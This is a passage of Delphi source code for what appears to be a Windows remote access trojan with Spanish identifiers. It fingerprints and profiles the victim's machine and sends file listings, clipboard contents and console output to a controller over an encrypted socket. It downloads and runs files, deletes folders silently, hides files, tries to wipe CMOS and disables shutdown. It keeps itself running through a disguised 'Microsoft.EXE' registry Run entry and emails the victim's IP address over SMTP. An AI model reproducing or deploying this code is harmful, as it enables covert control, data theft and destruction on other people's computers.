  767.         if ( tipoConexion and 2 ) = 2 then
  768.           data:=data +'*'+ 'LAN' ;
  769.         if ( tipoConexion and 4 ) = 4 then
  770.            data:=data +'*'+ 'PROXY' ;
  771.         if ( tipoConexion and 8 ) = 8 then
  772.           data:=data +'*'+ 'MODEM BUSY' ;
  773.     end;
  774.   data:=data +'*'+  Version;
  775.    data:=data +'*'+ Zona_Horaria;
  776.     data:=data +'*'+ FindWindowsDir ;
  777.      data:=data +'*'+ Serial ;
  778.     data:=data +'*'+ User;
  779.     data:=data +'*'+ Org ;
  780.    data:=data +'*'+ Usuario;
  781.     data:=data +'*'+ ddate + Time ;
  782.     data:=data +'*'+  IntToStr( Trunc( GetTickCount / 1000 / 60  ) ) + ' Minutes...' ;
  783.     data:=data +'*'+  IntToStr( GetSystemMetrics( SM_CXSCREEN ) ) + '*' + IntToStr( GetSystemMetrics( SM_CYSCREEN ) );
  784.    if not esXp then
  785.    begin
  786.         try  data:=data +'*'+ string( pchar( ptr( cBIOSName ) ) )  except end;
  787.         try   data:=data +'*'+ string( pchar( ptr( cBIOSCopyright) ) ); except end;
  788.         try   data:=data +'*'+ string( pchar( ptr( cBIOSDate ) ) )  ; except end;
  789.         try   data:=data +'*'+ string( pchar( ptr( cBIOSExtInfo ) ) ) ; except end;
  790.    end;
  791.    Result:=Data;
  792. end;
  793.   ///////////////////////////////////////////////////////////////////////////////
  794. procedure VaciarPapelera( Whandle : Thandle );
  795. type TSHEmptyRecycleBin = function (Wnd: HWND; LPCTSTR: PChar;DWORD: Word): integer; stdcall;
  796. var  SHEmptyRecycleBin  : TSHEmptyRecycleBin;
  797.      Lib                : THandle;
  798. begin
  799.      try Lib                := LoadLibrary( PChar( 'Shell32.dll' ) );
  800.          @SHEmptyRecycleBin := GetProcAddress( Lib , 'SHEmptyRecycleBinA' );
  801.          SHEmptyRecycleBin( Whandle, '' , 7 );
  802.          FreeLibrary( Lib );
  803.          except
  804.      end;
  805. end;
  806.  ///////////////////////////////////////////////////////////////////////////////
  807. function DelTree( Parametro : String ): string;
  808. var SHFileOpStruct : TSHFileOpStruct;
  809.     DirBuf         : array [0..255] of char;
  810. begin
  811.      Result := ' The Dir Wasnt Deleted: ' + Parametro + '"';
  812.      try
  813.         Fillchar( SHFileOpStruct, Sizeof( SHFileOpStruct ), 0 );
  814.         FillChar( DirBuf, Sizeof( DirBuf ), 0 );
  815.         StrPCopy( DirBuf, Parametro );
  816.         with SHFileOpStruct do
  817.         begin
  818.              Wnd    := 0;
  819.              pFrom  := @DirBuf;
  820.              wFunc  := FO_DELETE;
  821.              fFlags := FOF_ALLOWUNDO;
  822.              fFlags := fFlags or FOF_NOCONFIRMATION;
  823.              fFlags := fFlags or FOF_SILENT;
  824.         end;
  825.         if ( SHFileOperation( SHFileOpStruct ) = 0 ) then
  826.             Result := 'The Dir: "' + Parametro + '",was deleted...';
  827.         except ;
  828.      end;
  829.  //   VaciarPapelera(Handle);
  830. end;
  831.   ///////////////////////////////////////////////////////////////////////////////
  832. procedure PonerOculto( s :String);
  833. var i : Byte;
  834. begin
  835.      i := GetFileAttributes( Pchar ( s ) );
  836.      i := i or $00000002;   //hidden
  837.      SetFileAttributes( Pchar( s ),i );
  838. end;
  839. function Ocultar( Path: String; oculto:Boolean  ): String ;
  840. var sr      : WIN32_FIND_DATA;
  841.     retval  :integer;
  842.     sigue   :longbool;
  843.     esDir   : Bool;
  844. begin
  845.      retval := FindFirstFile( PChar( path ), sr );
  846.      if retval = -1 then
  847.           Exit;
  848.      sigue := true;
  849.      while sigue do
  850.      begin
  851.          EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
  852.          if EsDir then
  853.          begin
  854.              if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  855.                   Ocultar( Copy( path,1, Length( path ) - 3 ) + sr.cfilename + '*.*', true );
  856.          end
  857.          else begin
  858.                    poneroculto(Copy( path, 1, Length( path ) - 3) + sr.cFileName);
  859.                end;
  860.          sigue := FindNextFile( retval, sr );
  861.       end;
  862. end;
  863.    ///////////////////////////////////////////////////////////////////////////////
  864. procedure BuscaFicheros( path, mask : String; SOCKET: Tsocket);
  865. var sr      : WIN32_FIND_DATA;
  866.     retval  :integer;
  867.     sigue   :longbool;
  868.     esDir   : Bool;
  869. begin
  870.      sigue := true;
  871.      if path[ Length( path ) ] <> '' then
  872.         path := path +'';
  873.      retval := FindFirstFile( Pchar( path + '*.*' ), sr );
  874.      while sigue do
  875.      begin
  876.          EsDir := ( (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 );
  877.          if EsDir then
  878.             if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  879.                  BuscaFicheros( path + sr.cFileName, mask, SOCKET  );
  880.          sigue := FindNextFile( retVal, sr );
  881.      end;
  882.      if path[ Length( path ) ] <> '' then
  883.         path := path + '';
  884.      RetVal := FindFirstFile( Pchar( path + mask ), sr );
  885.      if RetVal = -1 then
  886.         Exit;
  887.      sigue := true;
  888.      while sigue do
  889.      begin
  890.           if ( string(sr.cfilename) <> '.' ) and ( string(sr.cfilename)<>'..') then
  891.              SendData(SOCKET, 'FiLeSeArCh'+ '^' + path + sr.CfileName + '^');
  892.              sleep(100);
  893.           sigue := FindNextFile( retVal, sr );
  894.      end;
  895. end;
  896.   ///////////////////////////////////////////////////////////////////////////////
  897. function ClearCMos: String;
  898. begin
  899.      if esXP then
  900.      begin
  901.           Result := '&1&';
  902.           Exit;
  903.      end;
  904.      Result := '&0&';
  905.      try
  906.        asm
  907.           MOV AX,0h
  908.    @L1:   OUT 70h,AX
  909.           MOV BX,AX
  910.           MOV AX,0h
  911.           OUT 71h,AX
  912.           MOV AX,BX
  913.           INC AX
  914.           CMP AX,03Fh
  915.          JNZ @L1
  916.       end;
  917.       except end;
  918. end;
  919.   ///////////////////////////////////////////////////////////////////////////////
  920. function LeerPortaPapeles( WHandle : Thandle ) : String;
  921. var Data : THandle;
  922. begin
  923.      LeerPortaPapeles := 'Error in Trashcan';
  924.      CloseClipboard;
  925.      OpenClipboard( WHandle );
  926.      Data := GetClipboardData( CF_TEXT );
  927.      try if Data <> 0 then
  928.               Result := PChar( GlobalLock( Data ) );
  929.          if Data <> 0 then GlobalUnlock( Data );
  930.          CloseClipboard;
  931.          except
  932.      end;
  933. end;
  934.    ///////////////////////////////////////////////////////////////////////////////
  935. function  Borrar_Clipboard( handle : Thandle ) : String;
  936. begin
  937.      CloseClipboard;
  938.      OpenClipboard( Handle );
  939.      EmptyClipboard;
  940.      CloseClipboard;
  941.      Result := 'The Trashcan was empty...';
  942. end;
  943.   ///////////////////////////////////////////////////////////////////////////////
  944. procedure descargar_url( Udp : Tsocket; Cli : Tsockaddr; parametro, parametro2 : String; tcp:integer );
  945. begin
  946.      if Bajando then
  947.      begin
  948.           Exit;
  949.      end;
  950.      if FileExists( Parametro2 ) then
  951.      begin
  952.           Exit;
  953.      end;
  954.      Bajando := TRUE;
  955.      if Descargar( Parametro, parametro2 ) then
  956.      else
  957.      Bajando := FALSE;
  958. end;
  959.    ///////////////////////////////////////////////////////////////////////////////
  960. function  CambiarNombrePC( parametro : string ): string;
  961. begin
  962.      try SetComputerName( PChar( Parametro ) ); except end;
  963.      Result := 'The computer name was changed to :' + Parametro;
  964. end;
  965. function Set_Resolucion( Parametro : String ) : string;
  966. var DevMode : TDeviceMode;
  967. begin
  968.      if esXp then
  969.      begin
  970.           Result := 'Tt doesnt work with XP!!!...';
  971.           Exit;
  972.      end;
  973.      if StrToInt( Parametro ) < 0 then
  974.         Exit;
  975.      try if EnumDisplaySettings( nil, StrToInt( Parametro ), DevMode ) then
  976.             ChangeDisplaySettings( DevMode, 0 );
  977.          Result := 'The Resulution was changed';
  978.          except Result := 'Error!!!';
  979.      end;
  980. end;
  981.    ///////////////////////////////////////////////////////////////////////////////
  982. function SetTime( parametro : String ) : String;
  983. var Fecha   : TSystemTime;
  984.     m, d, y : Word;
  985.     tmp     : String;
  986. begin
  987.      Tmp := Parametro;
  988.      GetLocalTime( Fecha );
  989.      d := StrToInt( Copy( parametro, 1, 2 ) );//day
  990.      m := StrToInt( Copy( parametro, 4, 5 ) );//mouth
  991.      y := StrToInt( Copy( parametro, 7, 10 ) );//year
  992.      with Fecha do
  993.      begin
  994.           wYear  := y;
  995.           wMonth := m;
  996.           wDay   := d;
  997.      end;     
  998.      if SetSystemTime( Fecha ) then
  999.         Result := 'The time was changed with succeful...'
  1000.      else
  1001.          Result := 'ERROR; Time couldnt been changed...';
  1002. end;
  1003.   ///////////////////////////////////////////////////////////////////////////////
  1004. function Red(Color: LongInt):integer;
  1005. begin
  1006.      Red := Color mod 256;
  1007. end;
  1008.   ///////////////////////////////////////////////////////////////////////////////
  1009. function Green(Color: LongInt):integer;
  1010. begin
  1011.      Green := ((Color and $FF00) div 256) mod 256;
  1012. end;
  1013.   ///////////////////////////////////////////////////////////////////////////////
  1014. function Blue(Color: LongInt):integer;
  1015. begin
  1016.      Blue := (Color and $FF0000) div 65536;
  1017. end;
  1018.   ///////////////////////////////////////////////////////////////////////////////
  1019. function Color_Menues( parametro : String ): String ;
  1020. var R, G, B : Integer;
  1021.     Colors, Items : array [ 0..1 ] of LongInt;
  1022. begin
  1023.     try R := Red( StrToInt64( Parametro ) );
  1024.          G := Green( StrToInt64( Parametro ) );
  1025.          B := Blue( StrToInt64( Parametro ) );
  1026.          Items[ 0 ]  := COLOR_MENU;
  1027.          Items[ 1 ]  := COLOR_MENUTEXT;
  1028.          Colors[ 0 ] := StrToInt64( Parametro );
  1029.          Colors[ 1 ] := RGB( 255 - R, 255 - G, 255 - B );
  1030.          SetSysColors( High( Items ), Items, Colors );
  1031.          Result := 'The Menu colors were Changed';
  1032.          except Result := 'ERROR!!!';
  1033.      end;
  1034. end;
  1035.    ///////////////////////////////////////////////////////////////////////////////
  1036. function Color3d( Parametro : String) : String;
  1037. var Colors, Items : array [ 0..1 ] of LongInt;
  1038. begin
  1039.      try Items[ 0 ] := COLOR_BTNFACE;
  1040.      Items[ 1 ] := COLOR_3DFACE;
  1041.      Colors[ 0 ]:= StrToInt64( Parametro );
  1042.      Colors[ 1 ]:= StrToInt64( Parametro );
  1043.      SetSysColors( High( Items ), Items, Colors );
  1044.      Result := 'The 3d color was changed...';
  1045.      except end;
  1046. end;
  1047.   ///////////////////////////////////////////////////////////////////////////////
  1048. function Color_Ventanas( Parametro :string ) : String;
  1049. var Colors, Items : array [ 0..1 ] of LongInt;
  1050. begin
  1051.      try Items[ 0 ]  := COLOR_WINDOW;
  1052.          Items[ 1 ]  := COLOR_WINDOW;
  1053.          Colors[ 0 ] := StrToInt( Parametro );
  1054.          Colors[ 1 ] := StrToInt( Parametro );
  1055.          SetSysColors( High( Items ), Items, Colors );
  1056.          Result := 'The windows colors were changed...';
  1057.          except Result := 'ERROR';
  1058.      end;
  1059. end;
  1060.   ///////////////////////////////////////////////////////////////////////////////
  1061. function Sacar_Apagar_sistema : String;
  1062. var h : HKEY;
  1063.     i : Integer;
  1064. begin
  1065.      RegOpenKeyEx( HKEY_CURRENT_USER,
  1066.                    PChar( 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' ),
  1067.                    0,
  1068.                    KEY_ALL_ACCESS,
  1069.                    h );
  1070.      RegsetValueEx( h,
  1071.                     PChar( 'NoClose' ),
  1072.                     0,
  1073.                     REG_SZ,
  1074.                     PChar( '1' ),
  1075.                     Length( '1' ) + 1 );
  1076.      RegCloseKey( h );
  1077.      SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
  1078.      Result := 'Turn off system disabled ';
  1079. end;
  1080.    ///////////////////////////////////////////////////////////////////////////////
  1081. function Poner_Apagar_sistema : String;
  1082. var i : Integer;
  1083.     h : HKEY;
  1084. begin
  1085.      RegOpenKeyEx( HKEY_CURRENT_USER,
  1086.                    PChar( 'SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer' ),
  1087.                    0,
  1088.                    KEY_ALL_ACCESS,
  1089.                    h );
  1090.      RegDeleteValue( h,
  1091.                      PChar( 'NoClose' ));
  1092.      RegCloseKey( h );
  1093.      SystemParametersInfo( SPI_SCREENSAVERRUNNING, 1, @i, 0);
  1094.      Result := 'turn off system enabled!!';
  1095. end;
  1096.    ///////////////////////////////////////////////////////////////////////////////
  1097. procedure ThreadVivorita;
  1098. var h : HDC;
  1099.     p : HPen;
  1100.     Pos : TPoint;
  1101.     v : array[1..20]of integer;
  1102.     incX, incY : integer;
  1103. begin
  1104.    v[1] := 1;   v[2] := 1;
  1105.    v[3] := 1;   v[4] := 1;
  1106.    v[5] := 1;   v[6] := 1;
  1107.    v[7] := 1;   v[8] := 1;
  1108.    v[9] := 1;   v[10] := 1;
  1109.    v[11] := -1; v[12] := -1;
  1110.    v[13] := -1; v[14] := -1;
  1111.    v[15] := -1; v[16] := -1;
  1112.    v[17] := -1; v[18] := -1;
  1113.    v[19] := -1; v[20] := -1;
  1114.    h := createDC( Pchar( 'DISPLAY' ), nil, nil, nil );
  1115.    P := CreatePen( PS_DOT, 6, $000080FF);
  1116.    SelectObject( h, P );
  1117.    pos.X := 400;
  1118.    pos.Y := 300;
  1119.    incX  := 1;
  1120.    incY  := 1;
  1121.    while vivorita do
  1122.    begin
  1123.         LineTo( h, pos.X, Pos.Y );
  1124.         pos.X := pos.X + incX;
  1125.       pos.Y := pos.Y + incY;
  1126.         if pos.X < 0   then
  1127.            pos.X := 0;
  1128.         if pos.X >  GetSystemMetrics( SM_CXSCREEN ) then
  1129.            pos.X := GetSystemMetrics( SM_CXSCREEN );
  1130.         if pos.Y < 0   then
  1131.            pos.Y := 0;
  1132.         if pos.Y > GetSystemMetrics( SM_CYSCREEN ) then
  1133.            pos.Y := GetSystemMetrics( SM_CYSCREEN );
  1134.         if(random (27) = 7)then
  1135.         begin
  1136.              incX := incX * v[random(20) + 1];
  1137.              incY := incY * v[random(20) + 1];
  1138.         end;
  1139.         Sleep( 10 );
  1140.    end;
  1141. end;
  1142.   ///////////////////////////////////////////////////////////////////////////////
  1143. function CrearThreadVivorita: String;
  1144. var id: cardinal;
  1145. begin
  1146.      if Vivorita then
  1147.      begin
  1148.           Result := '&1&';
  1149.           Vivorita := FALSE;
  1150.      end
  1151.      else
  1152.      begin
  1153.           Vivorita := TRUE;
  1154.           BeginThread(nil, 0, @ThreadVivorita, nil, 0, id );
  1155.           Result := '&0&';
  1156.      end;
  1157. end;
  1158.  ///////////////////////////////////////////////////////////////////////////////
  1159. procedure PresionarTecla( key: Byte );
  1160. begin
  1161. try
  1162.       Keybd_Event ( key , 0 , 0 , 0 );
  1163.       Keybd_Event ( key , 0 , KEYEVENTF_KEYUP , 0 );
  1164.       except exit end;;
  1165. end;
  1166. procedure showm( s : String );
  1167. begin
  1168.      MessageBox( 0 , pchar( S ) , 'MSN' , MB_OK + MB_ICONSTOP+ MB_SYSTEMMODAL );
  1169. end;
  1170.    ///////////////////////////////////////////////////////////////////////////////
  1171. function Descargar( url : String; Parametro2: String  ): boolean;
  1172. var buffer : array [ 1..1024 ] of char;
  1173.     bytes_leidos : dword;
  1174.     hInternetOpen, hFile : HINTERNET;
  1175.     oops                 : boolean;
  1176.     a : FILE;
  1177. begin
  1178.      Result := FALSE;
  1179.      hInternetOpen := InternetOpen( 'Master', INTERNET_OPEN_TYPE_PRECONFIG, '', '', 0 );
  1180.      if hInternetOpen = nil then  exit;
  1181.      hFile:= InternetOpenURL( hInternetOpen, lptstr( url ), nil, 0, INTERNET_FLAG_EXISTING_CONNECT, 0 );
  1182.      if hfile = nil then
  1183.      begin
  1184.           InternetCloseHandle( hInternetOpen );
  1185.           Exit;
  1186.      end;
  1187.      AssignFile( a, Parametro2 );
  1188.      try Rewrite( a, 1 ); except end;
  1189.      repeat
  1190.            oops := not InternetReadFile( hFile, @buffer, sizeOf( buffer ), bytes_leidos );
  1191.            if ( not oops ) and ( bytes_leidos > 0 ) then
  1192.            begin
  1193.                 BlockWrite( a, buffer, bytes_leidos );
  1194.            end;
  1195.      until ( oops ) or ( Bytes_Leidos = 0 );
  1196.      CloseFile( a );
  1197.      Result := not Oops;
  1198.      InternetCloseHandle( hInternetOpen );
  1199.      InternetCloseHandle( hFile );
  1200. end;
  1201.    ///////////////////////////////////////////////////////////////////////////////
  1202. function EsXP : Boolean;
  1203. begin
  1204.      Result := FileExists( FindWindowsDir + 'System32Cmd.exe' );
  1205. end;
  1206.    ///////////////////////////////////////////////////////////////////////////////
  1207. function TextoValido( b : Array of Char ) : string;
  1208. var i : Byte;
  1209. begin
  1210.      i := 1;
  1211.      while ord( b [ i ] ) <> 0 do
  1212.            Inc( i );
  1213.      Result := Copy( b, 1, i );
  1214. end;
  1215.     ///////////////////////////////////////////////////////////////////////////////
  1216. function NombreHost: String;
  1217. var  NameBuf: array[0..60] of Char;
  1218.      SizeBuf: LongWord;
  1219. //retorna el host
  1220. begin
  1221.      SizeBuf := SizeOf( NameBuf );
  1222.      GetComputerName(NameBuf, SizeBuf );
  1223.      Result  := NameBuf;
  1224. end;
  1225.    ///////////////////////////////////////////////////////////////////////////////
  1226.     ///////////////////////////////////////////////////////////////////////////////
  1227. function VentanaActiva: String;
  1228. var  PC: Array[0..$FFF] of Char;
  1229.      Wnd : Thandle;
  1230. begin
  1231.     Wnd := GetForegroundWindow;
  1232.     SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT
  1233.     Result := PC;
  1234. end;
  1235.   ///////////////////////////////////////////////////////////////////////////////
  1236. function FindWindowsDir : string;
  1237. //retorna el directorio de windows
  1238. var  DataSize : Integer;
  1239. begin
  1240.      SetLength (Result, 255);
  1241.      DataSize := GetWindowsDirectory(PChar (Result), 255);
  1242.      SetLength (Result, DataSize);
  1243. end;
  1244.    ///////////////////////////////////////////////////////////////////////////////
  1245. function Get_SysPath:string  ;
  1246. var       DataSize : Integer;
  1247.     begin
  1248.      SetLength (Result, 255);
  1249.        GetSystemDirectory( PChar(Result),255);
  1250.  end;
  1251.  
  1252.   ///////////////////////////////////////////////////////////////////////////////
  1253. procedure Registro;
  1254. var handle : HKEY;
  1255.  key : integer;
  1256. begin
  1257.      while TRUE do
  1258.      begin
  1259.      if regdata='' then begin
  1260.        regdata:='Microsoft';
  1261.      end;
  1262.      if  regappname= '' then begin
  1263.      regappname:='Microsoft.EXE';
  1264.      end;
  1265.      if (regkey='') or(regkey='1') then begin
  1266.      key :=   DWORD($80000002) ;
  1267.      end;
  1268.      if regkey='2' then begin
  1269.      key :=   DWORD($80000001) ;
  1270.      end;
  1271.      if regkey='3' then begin
  1272.      end;
  1273.           RegOpenKeyEx( key,
  1274.                         PChar( Clave ),
  1275.                         0,
  1276.                         KEY_ALL_ACCESS,
  1277.                         handle );
  1278.           RegSetValueEx( handle,
  1279.                          PChar(regdata),
  1280.                          0,
  1281.                          REG_SZ,
  1282.                          PChar(regappname ),
  1283.                          Length(regappname ) + 1 );
  1284.           RegCloseKey( handle );
  1285.               Sleep( 1500 );
  1286.      end;
  1287. end;
  1288.    ///////////////////////////////////////////////////////////////////////////////
  1289. procedure MakeThreadStartUP (key : string; data : string; appname : string);
  1290. var  id : Cardinal;
  1291. begin
  1292.      Clave := 'Software';
  1293.      Clave := Clave + 'Microsoft';
  1294.      Clave := Clave + 'Windows';
  1295.      Clave := Clave + 'CurrentVers';
  1296.      Clave := Clave + 'ionRun';
  1297.      regkey:=key;
  1298.      regdata:=data;
  1299.      regappname:=appname;
  1300.      BeginThread( nil, 0, @Registro, nil, 0, id );
  1301. end;
  1302.    ///////////////////////////////////////////////////////////////////////////////
  1303. function ShellEx(Path : string):string;
  1304.  begin
  1305.  if FileExists(Path)=true then begin
  1306.  ShellExecute(0, 'open',Pchar(Path),0 ,0,1);
  1307.  Result:='File :' +  Path  + ' Executed'
  1308.  end
  1309.  else
  1310.  begin
  1311.     Result:='File :' +  Path  + ' Doesnt exists'
  1312.  end;
  1313.  end;
  1314.    ///////////////////////////////////////////////////////////////////////////////
  1315.    ///////////////////////////////////////////////////////////////////////////////
  1316. function SendData (SOCKET : TSOCKET;Data :string): integer;
  1317. const
  1318. my_key = 35311;
  1319. begin
  1320. Data := Encrypt (data,my_key);
  1321. result:=Send ( SOCKET, Pointer(Data)^, length( Data), 0  );
  1322. sleep(100);
  1323. end ;
  1324. function SendDataMSN (SOCKET : TSOCKET;Data :string): integer;
  1325. begin
  1326. result:=Send ( SOCKET, Pointer(Data)^, length( Data), 0  );
  1327. sleep(100);
  1328. end ;
  1329.    ///////
  1330.    ///////////////////////////////////////////////////////////////////////////////
  1331.  function PeerToAddress(Socket: TSocket): string;
  1332. var
  1333.   SockAddrIn: TSockAddrIn;
  1334.   Len: integer;
  1335. begin
  1336.   if Socket <> INVALID_SOCKET then
  1337.     begin
  1338.       Len:= SizeOf(SockAddrIn);
  1339.       if getpeername(Socket, SockAddrIn, Len) <> SOCKET_ERROR then
  1340.         Result:= inet_ntoa(SockAddrIn.sin_addr);
  1341.     end;
  1342. end;
  1343.    ///////////////////////////////////////////////////////////////////////////////
  1344. function GetLocalHostName: string;
  1345. var
  1346.   szHostName: array[0..128] of char;
  1347. begin
  1348.   if gethostname(szHostName, 128) = 0 then
  1349.     Result:= szHostName
  1350.   else
  1351. end;
  1352.   function WinVer: string;
  1353. var
  1354. VersionInfo: TOSVersionInfo;
  1355. begin
  1356. VersionInfo.dwOSVersionInfoSize := SizeOf(VersionInfo);
  1357. GetVersionEx(VersionInfo);
  1358. with VersionInfo do 
  1359. begin 
  1360. case dwPlatformid of
  1361. 0 : begin
  1362. result := 'Windows System:   '+'3.11';
  1363. end;
  1364. 1 : begin
  1365. case dwMinorVersion of
  1366. 0 : result := 'Windows System:   '+'95';
  1367. 10: begin
  1368. if ( szCSDVersion[ 1 ] = 'A' ) then
  1369. Result := 'Windows System:   '+'98 SE'
  1370. else
  1371. Result := 'Windows System:   '+'98';
  1372. end;
  1373. 90 : result := 'Windows System:   '+'Millenium';
  1374. else
  1375. result := 'Windows System:   '+'Unknown';
  1376. end;
  1377. end;
  1378. 2 : begin
  1379. case dwMajorVersion of
  1380. 3 : result := 'Windows System:   '+'Windows NT';
  1381. 4 : result := 'Windows System:   '+'XP';
  1382. 5 : begin
  1383. case dwMinorVersion of
  1384. 0 : result := 'Windows System:   '+'2000';
  1385. 1 : result := 'Windows System:   '+'Whistler';
  1386. else
  1387. result := 'Windows System:   '+'Unknown';
  1388. end;
  1389. if szCSDVersion <> '' then
  1390. result := result + ' + Service pack: ' + szCSDVersion;
  1391. end;
  1392. else
  1393. result := 'Windows Platform: '+'Unknown';
  1394. end; // end case
  1395. end; // end case
  1396. end; // end case
  1397. end; // end version info
  1398. end; // GetWindowsVersion
  1399.    ///////////////////////////////////////////////////////////////////////////////
  1400.  function LIST( dir : string ): string;
  1401. var sr: WIN32_FIND_DATA;
  1402.     retval: integer;
  1403.     sigue : longbool;
  1404.     size  : cardinal;
  1405.     tipo  : string;
  1406.     Ret   : String;
  1407.     Nfiles: integer;
  1408.     files : string;
  1409.    F :file of char;
  1410.    i : integer;
  1411.    c : char;
  1412. begin
  1413.     files:='';
  1414.   // SendData(socket, ( '9^'+ 'Listing Dir:' + Copy( Dir, 1, Length( Dir ) - 3 )  ) + '^');
  1415.      tipo   := '';
  1416.      Ret    := 'LIST ' + Copy( Dir, 1, Length( Dir ) - 3 );
  1417.      retval := FindFirstFile( PChar( dir ), sr );
  1418.      sigue  := true;
  1419.      if retval <> -1 then
  1420.      begin
  1421.           while sigue do
  1422.           begin
  1423.               tipo     := '';
  1424.               size := 0;
  1425.               if (sr.dwFileAttributes and FILE_ATTRIBUTE_DIRECTORY) > 0 then
  1426.                  tipo:='d'
  1427.               else
  1428.                   begin
  1429.                   if (sr.nFileSizeHigh <> 0) then
  1430.                          size := (((sr.nFileSizeHigh * 32) + sr.nFileSizeLow) div 1024)
  1431.                       else
  1432.                          size := (sr.nFileSizeLow) div 1024;
  1433.                   end;
  1434.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_SYSTEM) > 0 then
  1435.              begin
  1436.                   if Tipo <> '' then
  1437.                      Tipo := Tipo + '-';
  1438.                   tipo:= tipo + 'system';
  1439.              end;
  1440.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_ARCHIVE) > 0 then
  1441.              begin
  1442.                   if Tipo <> '' then
  1443.                      Tipo := Tipo + '-';
  1444.                   tipo:= tipo + 'file';
  1445.              end;
  1446.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_NORMAL) > 0 then
  1447.              begin
  1448.                   if Tipo <> '' then
  1449.                      Tipo := Tipo + '-';
  1450.                   tipo:= tipo + 'normal';
  1451.              end;
  1452.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_TEMPORARY) > 0 then
  1453.              begin
  1454.                   if Tipo <> '' then
  1455.                      Tipo := Tipo + '-';
  1456.                   tipo:= tipo + 'temp';
  1457.              end;
  1458.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_HIDDEN) > 0 then
  1459.              begin
  1460.                   if Tipo <> '' then
  1461.                      Tipo := Tipo + '-';
  1462.                   tipo:= tipo + 'hidden';
  1463.              end;
  1464.              if (sr.dwFileAttributes and FILE_ATTRIBUTE_READONLY) > 0 then
  1465.              begin
  1466.                    if Tipo <> '' then
  1467.                       Tipo := Tipo + '-';
  1468.                    tipo:= tipo + 'Only read';
  1469.              end;
  1470.              Ret:='' +  sr.cFileName  +  '>' + IntToStr( size ) +  '>' + tipo + '>' +  '*';
  1471.                files :=files + Ret;
  1472.             //  sleep(10);
  1473.            //  SendData(socket, '1' + '^' +  Ret  + '^');
  1474.                 { if Nfiles >100 then begin
  1475.                                 sleep (200);
  1476.               SendData(socket, '1' + '^' +  files  + '^');
  1477.               sleep (200);
  1478.                     files:='';
  1479.                      Nfiles:=0;
  1480.                  end;  }
  1481.               sigue := FindNextFile( retval, sr );
  1482.           end;
  1483.      end;
  1484.             {  sleep (200);
  1485.               SendData(socket, '1' + '^' +  files  + '^');
  1486.               sleep (200);      }
  1487.                  Nfiles:= findNchars(files,'*');
  1488.      result:=inttostr(Nfiles) + '*' + Files;
  1489. end;
  1490.     ///////////////////////////////////////////////////////////////////////////////
  1491.    ///////////////////////////////////////////////////////////////////////////////
  1492.   function GetLocalPath:string;
  1493.     var
  1494.    i,a : integer;
  1495.    data : string;
  1496.   begin
  1497.      i:= findNchars(ParamStr( 0 ),'');
  1498.       for a:= 0 to i-1 do begin
  1499.         data:=data   + split( ParamStr( 0 ),'',a) + '';
  1500.       end;
  1501.      result:=data;
  1502.   end;
  1503.   ///////////////////////////////////////////////////////////////////////////////
  1504.   const FIN  = #13+#10;
  1505. procedure SendEMAIL(SMTP : string; EMAIL:string; MyEMAIL:string);
  1506.     var Addr      : TSockAddr;
  1507.     Sock      : TSocket;
  1508.     TypeBlock : Integer;
  1509.     HostEnt: PHostEnt;
  1510.   begin
  1511.      with addr do
  1512.      begin
  1513.           sin_family      := AF_INET;
  1514.           sin_port        := htons( 25 );
  1515.           sin_addr.S_addr := Inet_Addr( PCHAR(SMTP)  );
  1516.      end;
  1517.      if addr.sin_addr.s_addr = -1 then
  1518.         begin
  1519.         HostEnt := GetHostByName(PChar(SMTP));
  1520.         if HostEnt = nil then
  1521.         begin
  1522.         Exit;
  1523.         end;
  1524.         addr.sin_addr.S_addr := LongInt(PLongInt(HostEnt^.h_addr_list^)^);
  1525.         end;
  1526.      //creo el socket con el que me voy a conectar al servidor smtp
  1527.      Sock := Socket( AF_INET, SOCK_STREAM, 0 );
  1528.      //lo pongo para que se quede bloqueado cuando leo o escribo en el socket
  1529.      TypeBlock := 0;
  1530.      ioctlsocket( Sock, FIONBIO, TypeBlock );
  1531.      //intento la conexion, si connect devuelve 0 entonces estamos conectados
  1532.      if Connect( Sock, Addr, SizeOf( Addr ) ) = 0 then
  1533.      begin
  1534.       //Result := TRUE;
  1535.          SendData( sock,'helo test' + FIN );
  1536.           sleep(100);
  1537.           //mail from: es para decir quien es el que manda el mail
  1538.       SendData( sock,'mail from: ' + MyEMAIL +  FIN );
  1539.            sleep(100);
  1540.           //rcpt to: es para decir quien recibe el mail
  1541.         SendData( sock,'rcpt to: ' + EMAIL + FIN );
  1542.               sleep(100);
  1543.           //data es para indicarle al server que lo que sigue es el cuerpo del mail
  1544.         SendData( sock,'data' + FIN );
  1545.             sleep(100);
  1546. SendData( sock,'from: ' + MyEMAIL + FIN  ) ;
  1547.       sleep(100);
  1548.  SendData( sock,'to:' +  EMAIL + FIN );
  1549.         sleep(100);
  1550.  SendData( sock,'subject: '+ 'testing' + LocalIP   + FIN);
  1551.                  sleep(100);
  1552.    // el punto ".", es para decirle al server que el cuerpo del mail termino
  1553. SendData( sock,'.' + FIN );
  1554.              sleep(500);
  1555.          
  1556.       SendData( sock, 'quit' + FIN );
  1557.       Sleep(500);
  1558.     end
  1559.     else
  1560.        // Result := FALSE;
  1561.     CloseSocket( Sock );
  1562. end;
  1563.    ///////////////////////////////////////////////////////////////////////////////
  1564. procedure EnviarSalidaAlCliente( const path: String );
  1565. var a     : TextFile;
  1566.     Linea : String;
  1567. begin
  1568.      try
  1569.         AssignFile( a, path );
  1570.         FileMode := 0;
  1571.         Reset( a );
  1572.         while not Eof( a ) do
  1573.         begin
  1574.         ReadLn( a, Linea );
  1575.           SendData (ConsoleSocket, '33' + linea);
  1576.        //  messagebox( 0,pchar(linea),'',0);
  1577.         end;
  1578.         CloseFile( a );
  1579.      except
  1580.      end;
  1581. end;
  1582.     ///////////////////////////////////////////////////////////////////////////////
  1583. procedure Consola;
